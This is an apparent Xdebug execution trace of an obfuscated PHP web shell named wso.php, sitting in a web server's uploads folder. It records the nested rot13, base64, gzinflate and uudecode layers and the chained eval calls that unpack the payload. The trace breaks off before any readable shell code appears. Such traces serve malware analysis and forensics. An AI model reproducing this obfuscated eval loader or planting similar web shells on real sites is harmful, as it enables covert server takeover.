Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 02:20:20.399420] 1 0 1 0.000208 393512 1 3 0 0.000830 491040 {main} 1 /var/www/html/uploads/wso.php 0 0 1 A /var/www/html/uploads/wso.php 3 $i1i = '========================================================================\r\n\tObfuscation provided by Unknowndevice64 - Free Online PHP Obfuscator\r\n\t\t\t\thttp://www.ud64.com/\r\n==============================================================================' 1 A /var/www/html/uploads/wso.php 9 $uD64_c0m = 'str_rot13' 1 A /var/www/html/uploads/wso.php 9 $uD64_Com = 'gzinflate' 1 A /var/www/html/uploads/wso.php 9 $uD64_C0m = 'base64_decode' 2 4 0 0.000906 491040 str_rot13 0 /var/www/html/uploads/wso.php 9 1 'YS3Wrdf4g32tQPjyqtJTAx1P36uOrWnNT0PWsJWvN09/y/YsDK1IyKAvV2ai1nPgYF6oh+D3F3H3F4eti8uiZ8KgWBhhGvdYFHcieOolJme+tqRkX+MkS3KcYh5exaGAaQyymWkxvie1YJVym07KyYUuv4aYKryAXJo7eJG6WSmdffIBZmcTxguMEX5+ZD//XroiORz+D/dLlgy6vxy4IZGFBJxYkrlQph13M6Q42sHLm5ggGCRmnE8woz2djG5JzejXii4h5Bxck88mk+MFe+9uU7kJf3yzdEDeZ9zAXh9bJLe9Ch+nvRilyZ1wUrO3Fgd2zMih+Hmhfe9+Xd/+xaEg5oG9lOq6wAaLXgr6Z88+dzUPf9OH0H2GHmgAqYPX8EafpH3koW/IwTrolL2YdIRYJFx6MMW7Y3mO73nSeoe1e6P2d6wq4ipCXorzxw5r1JO9I0A7ICBVmms/1UrZ+mCfJc7FwL+/a+F+srGm/vwzMBXZ4if2InH377SUZ+60' 2 4 1 0.001031 585280 2 4 R 'LF3Jeqs4t32gDCwldgWGNk1C36hBeJaAG0CJfWJiA09/l/LfQX1VlXNiI2nv1aCtLS6bu+Q3S3U3S4rgv8hvM8XtJOuuTiqLSUpvrBbyWzr+gdExK+ZxF3XpLu5rknTNnDllzJxkivr1LWIlz07XlLHhi4nLXelNKWb7rWT6JFzqssVOMzpGkthZRK5+MQ//KebvBEm+Q/qYytl6ikl4VMTSOWkLxeyDcu13Z6D42fUYz5ttTPEzaR8jbm2qwT5WmrwKvv4u5Okpx88zx+ZSr+9hH7xWs3lmqRQrM9mNKu9oWYr9Pu+aiEvylM1jHeB3Stq2mZvu+Uzusr9+Kq/+knRt5bT9yBd6jNnYKte6M88+qmHCs9BU0U2TUztNdLCK8RnscU3xbJ/VjGebyY2LqVELWSk6ZZJ7L3zB73aFrbr1r6C2q6jd4vcPKbemkj5e1WB9V0N7VPOIzzf/1HeM+zPsWp7SjY+/n+S+feTz/ijmZOKM4vs2VaU377FHM+60' 2 5 0 0.001116 585248 base64_decode 0 /var/www/html/uploads/wso.php 9 1 'LF3Jeqs4t32gDCwldgWGNk1C36hBeJaAG0CJfWJiA09/l/LfQX1VlXNiI2nv1aCtLS6bu+Q3S3U3S4rgv8hvM8XtJOuuTiqLSUpvrBbyWzr+gdExK+ZxF3XpLu5rknTNnDllzJxkivr1LWIlz07XlLHhi4nLXelNKWb7rWT6JFzqssVOMzpGkthZRK5+MQ//KebvBEm+Q/qYytl6ikl4VMTSOWkLxeyDcu13Z6D42fUYz5ttTPEzaR8jbm2qwT5WmrwKvv4u5Okpx88zx+ZSr+9hH7xWs3lmqRQrM9mNKu9oWYr9Pu+aiEvylM1jHeB3Stq2mZvu+Uzusr9+Kq/+knRt5bT9yBd6jNnYKte6M88+qmHCs9BU0U2TUztNdLCK8RnscU3xbJ/VjGebyY2LqVELWSk6ZZJ7L3zB73aFrbr1r6C2q6jd4vcPKbemkj5e1WB9V0N7VPOIzzf/1HeM+zPsWp7SjY+/n+S+feTz/ijmZOKM4vs2VaU377FHM+60' 2 5 1 0.001408 679488 2 5 R ',]z8}\f,%v\0056MBߨAx\033@}bb\003OA}Usb#iՠ-.7Ku7Ko3$N*IJo\026[:1+q\027u.kt͜9e̜d-b%Nהዉ]M)fd$\\N3:FYD~1\017)\004ICzIxT9i\vrwg\030ϛmL3i\037#nm>V\n.)3Ra\037Vyf\024+3ٍ*hY>Kc\035wJڶL~*tm\027z*׺3>a³TMS;Mt\031qMlՌgɍQ\vY):e{/|v\017)>^`}WC{T7w3Zҍ}(d6U7G3lw\v\v-lTBJ0M\017!\025\032o>\037\002I\023Yr\a' 2 6 0 0.002601 585248 gzinflate 0 /var/www/html/uploads/wso.php 9 1 ',]z8}\f,%v\0056MBߨAx\033@}bb\003OA}Usb#iՠ-.7Ku7Ko3$N*IJo\026[:1+q\027u.kt͜9e̜d-b%Nהዉ]M)fd$\\N3:FYD~1\017)\004ICzIxT9i\vrwg\030ϛmL3i\037#nm>V\n.)3Ra\037Vyf\024+3ٍ*hY>Kc\035wJڶL~*tm\027z*׺3>a³TMS;Mt\031qMlՌgɍQ\vY):e{/|v\017)>^`}WC{T7w3Zҍ}(d6U7G3lw\v\v-lTBJ0M\017!\025\032o>\037\002I\023Yr\a' 2 6 1 0.004203 683584 2 6 R 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe' 1 A /var/www/html/uploads/wso.php 9 $x0zRy = 'TVcvVTs8Xis8VUI6KFdOXT9MOipCNVQxVVEtWz0uRCFeS1tOQytBKiNBLjY0MicyOCRLSCMxKj4sKSRTOgpNSSkmSUovXl5RUy9GRSlgUD1DSz9NO1tKV09OK0pFQyk6XSFBU0MnJ1wxRy8+L0JfX08lP0dQXS9eXD9HCk1fX0pfLy5AL19eXV9fKT85Wk9fWl07UT4nQVg+PV9fOC9TVl4vJjI7WyFeS1VXXSROVitXPi1RRUZZPicKTV0+OytYIV9fR1ddODNZTy0vVjpbXEYmV148P1daPz1fLStdXD8vSE9fXkxfX01NX15cP19NMlI/LV9fSwpNL19bWy9fKy0sTUxcXz0/X1xOVTE3Tz9fXiQ9Xi4uU19DX19dP19eNT8xR1w7Xk8nWkdfXytfX0tfX0YvCk1bJidTN15FX19MPF9fTyZfUyMxTS1NL15WWl5HLE1OTCdbLy0/X1RPX19QUlQ/X1knVV9fXjw3WElWJ10KTVxcT1hHVV9UWDNe' 2 7 0 0.004380 589344 str_rot13 0 /var/www/html/uploads/wso.php 9 1 '$k0xEm="MIKoogf4RC2IbhuQv7kDwh0xXNdfYMTcYdESpbnBQY8Hmd5fHdaGyIgqia7Uqv8C+2NL5CNZm5xmUY0oJYGcC70ST75dfJPT8n4L09plzsdIFT/GjJPEBYBBVlvth0aUiIBQaQd/b7v+mqwFesNFGlE0eElKSU9rhCcISpWcgTjfemtxKUNkT3YEiuWBX/68yCM+lX/kc0g86NHXscVQ3cpUBGBj85aDW+ARSDq2Ztq2KlFlD9tE390cp0gGJZa0LJnyd9iZAcKvPeJ/4ScUhNXeJEy3bkYIJp+6jNfie6QYNnn+iBcpS/nft01JSk37dj6dQ7e6cRq+hqqq7d0bY90Y8hSnW32gR6GUqsrdpiiZZGTseMH/5PRjMqKPWr6mpsYx6A7ltR3hwpippMVkoNchAzfVGD58oud+y2TwcB0nnoSGQo6F7eavbISB7yCYNz0mj3TDfBgKxRoFuwgQqInjnjes+gGgEuK6QrRsZduhQpv5jsOQ2L2P' 2 7 1 0.004414 591168 2 7 R '$x0kRz="ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2C' 2 8 0 0.004467 594096 eval 1 '$x0kRz="ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPdXVhDOncivCh8zpRfcqRzGRJfMG6dOFfg7sEJ7qWXe+X5pHSLSE+WTjKzI33cEV8VIi2DjizpLmN8sEPnc8A2A7eRDUZ26NFZbBXH76tQ9cbrF4Bj5CD6ooKeSXDCCIxId1/G+nTGl7DoMzBPpJupwPq8wX5NfJWdMjfwUR00+dAISX2iIHyToGrns0fE9t4IzmQwSsKMG1ePJo6qFeJ+fZi+GKhzsN2kEJqpJMypPpHyjnTXd9nIjwrIN9CM6jBQ3c/cuB2zRxD1QFoj0i1kwr2yMnKNQDmaDSxI9wFf8xGDw3bMmKlKwNnan57Iw7lk6BXXUQ4nQX53pHVYeYPrREYrIP9tmKwGt1S2izLHBwXNWfe9stgoxIccpox8j/QgCsJldsTbAkKHI+4VVA+YUGUxzHDkU4n6VY36xUK4MbbXhTeiGN3jEwbyG4MUYZaRn4WvZsWZA9B9zbJaMfIJ5MTa7oZcTeVI/BMdEFmnAv9XCRkVXj0C8HsDLBTxRil631Ko5RrOfdK2SoSoPJjn3LdNRjgXel16o6jOL9TXzAXeyoZ8SnpHc2aiWPheBoxIxwTdYnSCNaR7Igd2SziOo3Glpf4ivqXYLGVCbwZoPoHRRUz8YL+2UEXUr0dFrYaUN7fVQxaztvRq6Ub5ld7JWXeTgm4VYFeG3Skf0wmi7qi2X2Vi1AoWkyfBjpp132RcRc7XE+T17/mkbE0dsvgzr6jE+SHt13HX5K5mOiw5zam99NOmuuDM+VyWDsfBcOpNFtUr2M00tAfN9U068IF0Mx3fD9XPNekmv0xKc2NxmRuQfks9za0YX9de/8QJWwZVW3vJ+93FQpRYNRAfDz/n3heFWf1k6/M6Lw9nfseJ/M1vJuwfXdnqF46FofQZv+QVbV4tjp/efnzn2bAJn95uo+nttp//s41m821/N6f1jP4n22g+3fYz2p+f1/Sj9SU2v6Wzd7/WlOnwOxOhphGdPmecbefz7a8c0+ll53/Yv/7+8aV58/7Nlc37a6r37y5frA8fPnz8Dw==";@eval(gzinflate(base64_decode($x0kRz)));' /var/www/html/uploads/wso.php 9 0 2 A /var/www/html/uploads/wso.php(9) : eval()'d code 1 $x0kRz = 'ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPd' 3 9 0 0.004555 594096 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code 1 1 'ZVXbbts4EP2VouhDi7xQju0kKAqsLZGpLqRFcoaODL8Uzq5sUqnTlVtdvn7Hdi8P+2AY5PAMz5kzHL0bWLTpP70FG75qsWCG8a4Y09cymfqVSG/TwWCROLOOIyigu0nHvVODnDq/o7i+zdjSrfASTyR0rRyXFH9euPpVFcJptGwsrzgkXHAxG3LRvhJOK/68lPZ+yK/xp0t86AUKfpID3pcHOTOw85nQJ+NEFQd2Mgd2XySyQ9gR390pc0tTWMn0YWalq9vMNpXiCrW/4FpHuAKrWRl3oxLVWc+6wAsvr6DLAaa+vOpcF/asg01WFx37qw6qD7r6pEd+uddd7q0oL90L8uFaJ32tE6THdfeqcvvMMTGfrZU/5CEwZdXCJe6zcfLk6N7ygE3ujcvccZIxbApuNmsITQ58bhq+l2GjpO0aabFTDb6S7rnioVFO7lPLAm0zw3GQsOtXkEbShjtDdVawawrf+tTtRhX6DeEfMqhuDci5wfBD2Y2CJI1KtyPd' 3 9 1 0.004584 595920 3 9 R 'eUn8\020CP$(\n-.Er\f\024ήlRӕ[]~v/\017`\030\fϙ3\034\033X?\005\033j`\0302Ho`8#(IǽS:ҭ\022O$t\034\024^U\025il,8$\\p1\033rѾ\022N+~ȯK|\005\n~\003ޗ\a93\'D\025\av2\av_$C\021)sKSXaf6\nZG\002Y\031w\022YϺ\v/\001\\\027MV\027\035\016\017G~](/\vZ\'}\023ur11?!0e%qMq1l\nn6k\bM\016|n\032a\032iS\rQNS\002m3qWF҆;CuVk\nF\025\r\0372n\rȹCٍ$J#]XC' 3 10 0 0.004650 595888 gzinflate 0 /var/www/html/uploads/wso.php(9) : eval()'d code 1 1 'eUn8\020CP$(\n-.Er\f\024ήlRӕ[]~v/\017`\030\fϙ3\034\033X?\005\033j`\0302Ho`8#(IǽS:ҭ\022O$t\034\024^U\025il,8$\\p1\033rѾ\022N+~ȯK|\005\n~\003ޗ\a93\'D\025\av2\av_$C\021)sKSXaf6\nZG\002Y\031w\022YϺ\v/\001\\\027MV\027\035\016\017G~](/\vZ\'}\023ur11?!0e%qMq1l\nn6k\bM\016|n\032a\032iS\rQNS\002m3qWF҆;CuVk\nF\025\r\0372n\rȹCٍ$J#]XC' 3 10 1 0.004729 597712 3 10 R '$y01Zx="TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6' 3 11 0 0.004780 599160 eval 1 '$y01Zx="TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJNjBEUTM6JUk0NTRVWDVVLUc9VFEjMjMhNjE2PVA1Q2BVM0RcUDREVTE6Nk1QMkQ1SwpNPCU9SywjKTUsJTVZMlU1SyxUVSUsNEUuOkYxRjQmTTo1VT1aNkQ5MTVFRFU1RlExPCQtSywjPTAxJTRXCk00Nk0xKlUxWTwkNS40VyEzNiQwVTlFMFEtNTkqMTNgVjJGUUs8RFE0MkRNMT5ERVgzRC1YOUUhWi4mRTgKTSw2LFQ0NDk6MSU1NjVEUTg7JzEoNTdEUTQ0UTMyNlU5MTVESzJGTFgyVTE1M0RFMDEjNSM1VlFUMzRZTApNPiUpKzUkVUszJ0RYPTU5WjtXMSw6M0UjNEQ1KTtFJVowRFUyOjRUWDM1OTo2JSk2OyVBNSw1JVEyNTlXCk08NSUlNUU9KT40NVM1QyFLOjRJSzU3LTkwUzUhNTY9UDNEUUk5UzE4MUQpNzQmSTk+RSxQLjRFLzVGXUkKTTUkMFk5JFEjLjY5LjRUWTEyNlBYO0U1STM2SSw+REVIMzU5WDQkUU0wNkErNFM1LjNGTTE8RT0kLCZNNgpNMFNBWTVVLUssNFk1PiRdKjslJU0wVkxQPjRNNDkmKTE0VkEsMlNgVDxVQFA2N0kuPkU1UzU2UVAzVF0lCk02My03PjREUzRVPSE6NFEjPFZBMDUlKTA0RTRQLCU5WThWSTY1JUkoNVZMUDxVKSY9JC0sPjNBVzMnSUwKTTUlITQsNTUwPkctKzI2UUQwNUUnMDRNOTA2XF0oQ0wqMCY1Vjg2UEgpJ0BQNEdBNSgjVEApJ0BQNEdBMQpNKiIxWCwlKVg0QkBEPiMhMj4lYEgpJ0RQNEdJIyoyREkqM01gOTc5QTsiQEQ+IyEyPkU0QC8yYEQ+IyEyCk0+RSRIKSdAUDRHSTIqIjFYLCUpWjQiQEQ+IyFSPkNgSSoyREkuVCFFPUYlTCoiMVgsJSlaNUJgXSgiMVgKPiwlKVo2MkBEPiMhMj5FSEgpJ0BQNEdJOCoiMVgsJ0kyPjJESSoyRFsKYAo=";$j0yZk="\\143\\x6f\\156\\x76\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$i0yZk="\\142\\141\\x73\\x65\\66\\64\\x5f\\144\\x65\\x63\\157\\x64\\145";@eval ( $j0yZk($i0yZk($y01Zx)));' /var/www/html/uploads/wso.php(9) : eval()'d code 1 0 3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $y01Zx = 'TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJ' 3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $j0yZk = 'convert_uudecode' 3 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 $i0yZk = 'base64_decode' 4 12 0 0.004884 599160 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 1 'TSknQFA0R0EwLzIpPD4jOFI3IyRULDVRWC1TLTw+IzhVNyM4VjcjOFQ3J0BVOUVRWC1DMTwsMzBVNydAVgpNLFVQUS0zPTw+IzhUNyMkVC0yKFspJ0BQNEdBMS8yKTw+IzhXNyMkVyxFUFEtMyU8PiM5RTcjJFQtRVFYCk0tRi08LDMwUTcnQFctJVBRLSM0Qi5SMVgsJSlYNENUQjcjJFQsVVFYLUY5PCwzNFY3IyRWLUVQUS0jNTwKTT4jPFI3IyRWLSVRWC02OTwsMzhVNydAVy01UVgtQzE8LDMwVTcnQFYsVVBRLTM9PD4jOFQ3IyRULTIoWwpNKSdEUDRHSSMvMik0NSNAVDVHRVMtVS0jPiUlKjRVJVo2J0UlLERZWTklKTE6RlEhMkZNMSwlMSUwNlUpCk06NEklNVMhIS0kSUw0REUyMTcxOTI1MSk7RS0zNTclLjsjIVczNkxZMSU9JTY3RTM6RUkvNSZNTDI1PVcKTTwkWTI6VFkmNUdJ' 4 12 1 0.004915 600984 4 12 R 'M)\'@P4GA0/2)<>#8R7#$T,5QX-S-<>#8U7#8V7#8T7\'@U9EQX-C1<,30U7\'@V\nM,UPQ-3=<>#8T7#$T-2([)\'@P4GA1/2)<>#8W7#$W,EPQ-3%<>#9E7#$T-EQX\nM-F-<,30Q7\'@W-%PQ-#4B.R1X,%)X4CTB7#$T,UQX-F9<,34V7#$V-EPQ-#5<\nM>##8T7#$T-2([\nM)\'DP4GI#/2)45#@T5GES-U-#>%%*4U%Z6\'E%,DYY9%)1:FQ!2FM1,%1%06U)\nM:4I%5S!!-$IL4DE21719251);E-357%.;#!W36LY1%=%67E3:EI/5&ML25=W\nM<$Y2:TY&5GI60DQ3:%I454UX5U-G=TQ#23!616=P5C`U3D\\P4DU1:6MP2D5K\nM<%=K,#)5,%5Y2U5K,TU%,4E.:F1F4&M:5U=Z6D915EDU5FQ1<$-K,#=01%4W' 4 13 0 0.004946 600952 convert_uudecode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 1 'M)\'@P4GA0/2)<>#8R7#$T,5QX-S-<>#8U7#8V7#8T7\'@U9EQX-C1<,30U7\'@V\nM,UPQ-3=<>#8T7#$T-2([)\'@P4GA1/2)<>#8W7#$W,EPQ-3%<>#9E7#$T-EQX\nM-F-<,30Q7\'@W-%PQ-#4B.R1X,%)X4CTB7#$T,UQX-F9<,34V7#$V-EPQ-#5<\nM>##8T7#$T-2([\nM)\'DP4GI#/2)45#@T5GES-U-#>%%*4U%Z6\'E%,DYY9%)1:FQ!2FM1,%1%06U)\nM:4I%5S!!-$IL4DE21719251);E-357%.;#!W36LY1%=%67E3:EI/5&ML25=W\nM<$Y2:TY&5GI60DQ3:%I454UX5U-G=TQ#23!616=P5C`U3D\\P4DU1:6MP2D5K\nM<%=K,#)5,%5Y2U5K,TU%,4E.:F1F4&M:5U=Z6D915EDU5FQ1<$-K,#=01%4W' 4 13 1 0.004977 601880 4 13 R '$x0RxP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RxQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RxR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$y0RzC="TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQz' 4 14 0 0.005034 604576 eval 1 '$x0RxP="\\x62\\141\\x73\\x65\\66\\64\\x5f\\x64\\145\\x63\\157\\x64\\145";$x0RxQ="\\x67\\172\\151\\x6e\\146\\x6c\\141\\x74\\145";$x0RxR="\\143\\x6f\\156\\166\\145\\x72\\164\\x5f\\165\\x75\\x64\\145\\x63\\157\\x64\\145";$y0RzC="TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo=";\n@eval($x0RxU = $x0RxQ($x0RxR($x0RxP($y0RzC))));@eval($x0RzU = $x0RzQ($x0RzR($x0RzP($x0rz0))));@eval($x0RzV = $x0RzY($x0RzZ($x0RzX($x0zRy))));' /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code 1 0 4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxP = 'base64_decode' 4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxQ = 'gzinflate' 4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $x0RxR = 'convert_uudecode' 4 A /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 1 $y0RzC = 'TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo=' 5 15 0 0.005131 604576 base64_decode 0 /var/www/html/uploads/wso.php(9) : eval()'d code(1) : eval()'d code(1) : eval()'d code 2 1 'TT84Vys7SCxQJSQzXyE2NydRQjlAJkQ0TEAmIiJEW0A4JlRIREtYITInSSUqNl0wMk9DWEYySjZOTklIWwpNRkNFVzVBLShZTUMxWSgwLCI0VEgpV05NO0RMQikpJEkpWk02U0UyKUk3ME1INjdfPkZWWzZFQVY5VlQpCk07PDU7QkQ+TypENSpSXD5fT15VJE06JlkrLTJKQzIxNCxfPz8iX1c4QFZDUVVLXltHUy1QLSImYEY+Jk8KTUNIPD5CWltMNlxRKTMkLy8uVzotLi9CREInQzBMRiM8MVZXRVlXU1QqIVwqQEVWIyEsV0kiJkUsYC5AUgpNLig4XFBWPjYzS09IOVoiTD9dLC9fNSNQIl8nUiMjLzIhMVxPLmAhKS5NNkQrWD0kVC8yWSk1NUxOJlQmCk0yKTdbQShLK04sX0YzNzUsUlpOOEY3WyI3SWAiLCshPTRPRU00VycjVTZHWk0sRFtCLy8wLzlTPT1UPzsKIldAYGAKYAo=' 5 15 1 0.005157 605248 5 15 R 